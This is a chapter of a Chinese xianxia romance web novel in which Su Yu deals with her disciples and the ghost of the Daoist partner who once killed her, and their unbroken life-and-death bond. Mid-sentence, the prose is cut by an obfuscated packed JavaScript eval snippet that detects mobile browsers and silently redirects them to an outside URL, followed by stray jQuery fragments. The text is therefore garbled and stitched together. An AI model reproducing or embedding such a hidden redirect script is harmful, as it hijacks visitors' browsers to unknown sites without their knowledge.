6. 恋爱有风险
作品:《我被捅后飞升了》 因为苏玉受伤,事情终于可控了起来。
两徒弟一前一后将戚寒雁与宴辛领进家门,嘴一直碎:“师父,我们应该怎么叫?”
戚寒雁介绍道:“我是太初剑宗如今的三掌门,这位是我师兄宴辛。”
“哇,太初剑宗!师父深藏不露!”
苏玉根本没脸攀关系,避开视线道:“叫戚掌门。”
少年老老实实:“戚掌门好。”
戚寒雁点点头。
接着,青衡向苏玉递眼色,想问少年应该怎么叫。
苏玉想了又想,将原本的介绍词咽了下去。
很难想象,百年前剑宗的第一天才,如今竟然如此颓然,而且罪魁祸首,就是苏玉自己。
宴辛神色冰冷道:“我是你们师父的道侣。”
两个人立即会意:“师爹好!”
他们怎么叫得这么顺口!苏玉震惊
但道侣已经是之前的事了,按照规矩,在杀妻的那一刻,他们就什么关系都没有了。
苏玉冷哼道:“叫师叔。”
徒弟道:“师叔好!”
宴辛固执:“是师爹。”
“师爹好!”
非常清脆响亮,谁的话都听,两个大傻子。
“戚掌门、师爹/师兄,师父,我们到了。”
戚寒雁挑了一下眉,目光在这几人之间转了转,不禁觉得好笑,心道苏玉这俩徒弟真是清澈又单纯,机灵又愚蠢。
几人在屋内坐下,戚寒雁掏出药瓶,将苏玉的手接了过来:“师兄的剑由西海陨铁淬炼,锋利无比,普通的药治不好。”
粉末抖在苏玉的掌心,戚寒雁转头看了一眼宴辛,但见后者脸色平静,她了然:“哦,你们都应该不疼。”
一个有同生同死契,另一个是天生无感体。
天生一对。
她修炼怎么没碰到这么好的机缘。
戚寒雁包扎好后,观察了两人之间的气氛,长舒了口气,问站在苏玉身后的少年:
“之后师兄是留在这里,还是跟我回宗门?”
“留。”宴辛简短道。
戚寒雁看向苏玉,后者沉重地点点头。
这就是同意了。
他们俩的事,戚寒雁不应该再掺和了。
戚寒雁站起身,向门外走去。
她一走,两个徒弟顿时感觉空气中凉飕飕地,一时之间不知道该怎么办。
留在这里肯定是添乱,但怕一走,师父会被师爹挫骨扬灰。
家庭矛盾好可怕。
“滚。”少年朝二人薄唇轻吐。
两徒弟吓得抖了一下,大喊“师父先忙”,连滚带爬地跑了出去,还顺带关了门。
一点也靠不住。
人一少,苏玉也感觉心里毛毛的。
从进门开始,少年始终站在一旁,目光直勾勾地盯着苏玉。
苏玉不敢看他,掩饰性地倒桌上的茶,分出两杯,请宴辛入座。
她先饮下一口,好半天才想出这么个借口。
“其实我失忆了。”
宴辛平静道:“我们是夫妻。”
——这人比她还会骗啊!
看见苏玉的表情变化,宴辛就知道她什么都记得。
“我们已是道侣,随时可以拜堂成亲。”
苏玉一时无言。
沉默在两个人之间蔓延,空气中的潮湿让人感觉莫名有点冷,她开口道:“我要休息了,明天再说吧。”
宴辛没有出声阻拦。
苏玉飞快地逃回到自己的房间。
少年跟了过来,却只在门外坐下。
屋内亮起烛火,照出门缝中一截影。
此情此景,苏玉回想起回想起那几年的时光。
在她的印象里,宴辛是一个非常、非常无趣且冷漠的人。
他们虽成了道侣,却几乎没有什么肌肤之亲。他没有什么欲望,只知练剑。其余的,一律听苏玉胡说。
苏玉说中午吃馒头,他会说好。马上改口吃面,他也说好。
要半夜不睡觉去散步,他也会说好。
太初剑宗的第一天才,长辈眼里的好好学生。
苏玉像只麻雀一样跟在他身后出入各种秘境,笃定他不会违抗师令,说杀妻就杀妻,说证道就证道。
难以相信,他如今大道未成,反而成了孤魂野鬼。
他不是修无情道吗?他的道呢?
苏玉十分苦闷。
眼下,她还不敢轻易地跑路,怕他一想不开,连着她一起爆了。
第二天醒来,苏玉推开门,发现少年撑着一把伞,站在院子里看青衡与青衍扎马步。肤面如皓雪,长身如玉立。
可惜没有影子。
青衡与青衍两个人,四条腿,抖如筛糠。
一看见师父,仿佛看见了光。
苏玉不解:“他们犯什么错了?”
宴辛道:“他们太废物,没法保护你。”
他还真指点起来了。
青衡欲哭无泪:他们是法修,不是剑修啊!
才练了一会儿,其中一个支撑不住,另一个也惊叫着和他倒在了一起。
宴辛凉凉地评价道:“我不知道两百年后的修仙子弟竟然这么脆弱。”
“他们之前没有师父教导,一下子这么高强度训练,是受不了的。”苏玉道,“再说了,他们的天资远不如你,是没法像你一样训练的。”
都好尖锐的评价。
徒弟们捂脸悲痛。
“我去做饭。”
苏玉瞥了一眼刚升的日头,转身进了厨房,她不想在宴辛身旁待得太久,有点尴尬。
青衡、青衍立即跳了起来,纷纷道:“我来帮忙!”
然后在收到少年的一个斜眼,又缩了回去。
“继续练。”宴辛道。
外面哀嚎一声,又忽然没了声息。苏玉知道,躲不是办法,俩傻子会替她遭殃,于是手一挥,便有一桌食物。
“行了,来吃饭吧。”苏玉道。
宴辛不迈步,青衍与青衡不敢动。
这家到底谁做主?
苏玉气得催促道:“快点!”
俩傻大个这才得了许可,一蹦一跳地塞进了厨房。又因为训练得身体酸痛,不时撕扯得哎哟一声。
“师父,啊嘶……今天吃什么呀?”
“虾仁粥饭,还有姜葱爆炒猪心。”
虾仁猪心。
徒弟们:“哦哦。”
感觉有什么不对。
俩徒弟落座,宴辛和苏玉已经不需要吃饭,只在一旁看着。
青衡狂扒了两口饭,弱弱地道:“师父,没什么味道。”
“是吗?”
法术变的,当然没有什么味道。
宴辛坐下,端起饭碗尝了两口菜,神态自若。
苏玉移开视线。
徒弟们见状,也不敢落后,纷纷吃干净了。
吃过饭后,宴辛再次拎起青衡与青衍训练。
趁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481102|201742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们在忙,苏玉悄悄溜进后院的藏经阁。
再出来时,天色已暗。
密道入口处有三只剪影。青衡与青衍已经背靠背睡着了,少年斜靠在树旁闭目养神。
听见门开动静,宴辛抬眸,声音传了过来:“查到了吗。”
苏玉问:“什么。”
“同生同死契的解法。”
——当然。
这人该死的聪明,一下就猜到了。
苏玉没说话,但宴辛已继续开口:“解契,只需要两个人的心头血。”
作为结契的人,他当然知道怎么解。
以苏玉的体质,妖心破碎直接转生飞升,但宴辛却是已死的鬼。
还有心头血吗?
“你不舍得我死。”宴辛自顾自地解释。
苏玉:“……”这不是杀人吗?
疯子真难缠。
苏玉整理了下心情。
这个契对她的生活其实豪无影响,她现在虽没成仙,但妖力已非寻常修士可以匹敌,也不错了。
她只是很唏嘘。
明明他已经知道她的接近别有目的,爱可能是假的,还执着什么呢。
苏玉缓缓道,“你回太初剑宗吧,兴许再修炼百十年,你还能再成仙。”
宴辛看着她:“你这是在赶我走吗?”
他身后的剑鞘一闪一闪,苏玉知道,这不是询问,就是威胁。
“……”
俩徒弟缩在后面捂着耳朵不敢听,连师父走了都不知道。
直到一个高大的身影走到他们面前,他们才睁开眼睛。
“师爹,你要走了吗?”
“我不走。”宴辛道,“她还爱我。”
青衡、青衍:“……”
苏玉先一步回到房间,将门关好,直直地躺在没有铺软垫地床上,望着漆黑的床顶。
没过多久,她就感觉到屋外来了人。
徒弟们劝宴辛回去睡觉,他们已经准备好了房间,可宴辛只是一言不发,如昨晚一样,坐在她的门外。
青衡无奈:“师父已经睡下了,师爹还是明日再来吧。”
青衍附和道:“就是啊,深秋夜寒,师爹别自己弄坏了身体。”
“鬼魂并无身体。”宴辛冷冷回答
青衡默然片刻,道:“师父不会出来的。”
女子一旦下定决心,就不会再心软。这件事,早在上一位天机阁掌门那里,他已经知道了。
“她以前就是这样。”宴辛固执。
苏玉回想起来。
初见的时候,死皮赖脸地说自己害怕需要保护,一下就钻进了他住的客栈,还强行霸占他的床。
他从来不许人进自己房间,但只要苏玉在外面稍稍祈求一下,宴辛就会睁一只眼闭一只眼。
他们意见不合吵架时,只要苏玉在门口一坐,最多一盏茶时间,他就会让苏玉进屋。
苏玉一直以为,他是不在意。
无论是谁,只要够死皮赖脸,宴辛就是很好说话的。
难道不是吗?
是非已无可考究,可惜苏玉回想起这些,已经没有任何感觉。
没有痛苦,没有悲伤,没有喜悦,没有感同身受。
好像在听别人的故事。
月上圆满,光华凭栏。
两个徒弟在屋里找了两件陈年的大衣,想给宴辛盖一盖,被宴辛嫌弃。
但劝告终于有了结果。
宴辛说:“等我想明白了,自会离开。”

